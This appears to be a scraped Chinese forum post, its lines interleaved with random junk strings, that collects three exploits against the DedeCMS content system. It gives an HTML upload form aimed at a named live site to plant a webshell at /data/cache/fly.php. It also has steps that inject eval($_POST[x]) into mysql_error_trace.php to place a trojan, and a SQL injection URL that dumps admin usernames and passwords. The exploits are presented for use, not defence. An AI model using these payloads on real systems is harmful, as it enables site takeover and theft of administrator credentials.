织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
) D6 n/ g" V) u/ `( @% O0 O6 Y+ P<html>
) a6 ?/ ^1 C" l+ c<head>
* ^/ V) @$ e& ]% _: o<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>  Z9 h7 o1 B2 q
</head>. C+ E$ R, K* {- a6 D% h( O
<body style="FONT-SIZE: 9pt">
, _1 g* r: |. ]% ^" C+ H---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />, w0 c/ H/ b2 D, H" T
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
# }6 I% p( G3 C<input type='hidden' name='activepath' value='/data/cache/' />
' o* t4 v0 q& h$ Q* M% L+ a+ x$ q$ ]<input type='hidden' name='cfg_basedir' value='../../' />
# \: S0 ^6 T8 F+ o; [<input type='hidden' name='cfg_imgtype' value='php' />
2 D( b) B/ ~  `<input type='hidden' name='cfg_not_allowall' value='txt' />) T" C* }; N. M9 w1 J% I
<input type='hidden' name='cfg_softtype' value='php' />
* R4 Z4 K4 N7 X8 N2 A9 U; H<input type='hidden' name='cfg_mediatype' value='php' />  U# Z  J6 t% g1 M6 e; n
<input type='hidden' name='f' value='form1.enclosure' />$ h( z, g5 H, p2 F6 A. o
<input type='hidden' name='job' value='upload' />% T; h! ~7 F7 I8 H9 w
<input type='hidden' name='newname' value='fly.php' />9 L" a! ]0 n0 Q# _6 Y- \
Select U Shell <input type='file' name='uploadfile' size='25' />7 c4 c, z; U3 i" @% K
<input type='submit' name='sb1' value='确定' />
% S4 J- O0 v  \: ?; ?# S</form>
: V4 c  J: N) S% B1 R# c/ h1 s<br />It's just a exp for the bug of Dedecms V55...<br />, n+ J; i- ~2 R& P* B4 s
Need register_globals = on...<br />
2 m6 S; d8 C4 UFun the game,get a webshell at /data/cache/fly.php...<br />
# N9 k7 F% c3 _) ^- z# ^' U* W8 f</body>
( C) i6 _' `+ Z" ~1 `</html>! Z( g; G" Y' }' r* T* }3 W
  P- ~. R% z* K4 w  G( v

7 S- w' J3 y8 q$ l4 {
) m( e. U* ^* P! B1 N( W; E3 |5 X" O3 ]0 ~. q

: }7 Z5 C( `0 _1 i8 [' y/ X
+ }! I8 P5 B( D3 S( R/ }" R: A8 y. `8 ^( h( I: z

/ @! K: ]8 ~1 j$ ^) U$ r! u2 J
( f  ?3 c- h( c5 m2 a# M' {: v4 x: V% K* Y  A
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
2 d7 L0 q! `' c: O* m# ~$ P) F8 ~利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
: |& w- E; M$ r0 Q1 A1. 访问网址:9 J( k- T' R/ l9 ?% g( a
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>$ T/ J& d! k- A! z, Q* G
可看见错误信息
7 O" w, F( f% F$ P! Z2 B+ p- A4 x2 }; [3 r  k- f0 _3 e

$ D* x' E/ t1 C. }# I6 y2. 访问
http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。5 z- R3 l) z% l8 g0 ^" a8 d
int(3) Error: Illegal double '1024e1024' value found during parsing
) z4 ]9 U+ C- G) [+ W: D( sError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
& U# b3 g& K* P/ c$ j& P
0 H* _' x% R! u5 c# N9 z/ f
( D! M2 i( t+ S# v8 w+ W3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是
! y; t3 k, ^; q: [2 ?' u& \( S( O( e' f2 ~# @2 R+ Q
* l( ^  i- b5 }% ?3 N1 ^. o
<form action=”
http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>, S8 |( a: Q% b! y- k6 G

0 _% \: @2 Z  l3 B1 h8 r0 R, o( p4 v$ _; v5 e& M
按确定后的看到第2步骤的信息表示文件木马上传成功.
+ S* }% s; ~. a% m2 Q+ `  e- L
, D" |% x/ |  l% H( c. k. f
9 d0 y0 q! ~% ~# F8 Q! L- x/ l- M2 \6 |( h
( W8 y) _" o' F8 w' z
/ T0 \/ ]2 C; b

% R) ^4 T/ @$ I  o5 Q" ]5 ]& _3 r
0 g' I& k8 f% j" n  Y
; J# J0 ~  l: t# m# Y; V4 K" o! H, V/ W1 u! S5 a

& Q6 S$ ]' w# W2 ?" o' D* ^! D6 o1 N% D, o1 m& p
) e( B% ]7 Z- K+ O
织梦(DedeCms)plus/infosearch.php 文件注入漏洞5 v- F, Y3 b+ H; {# w
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表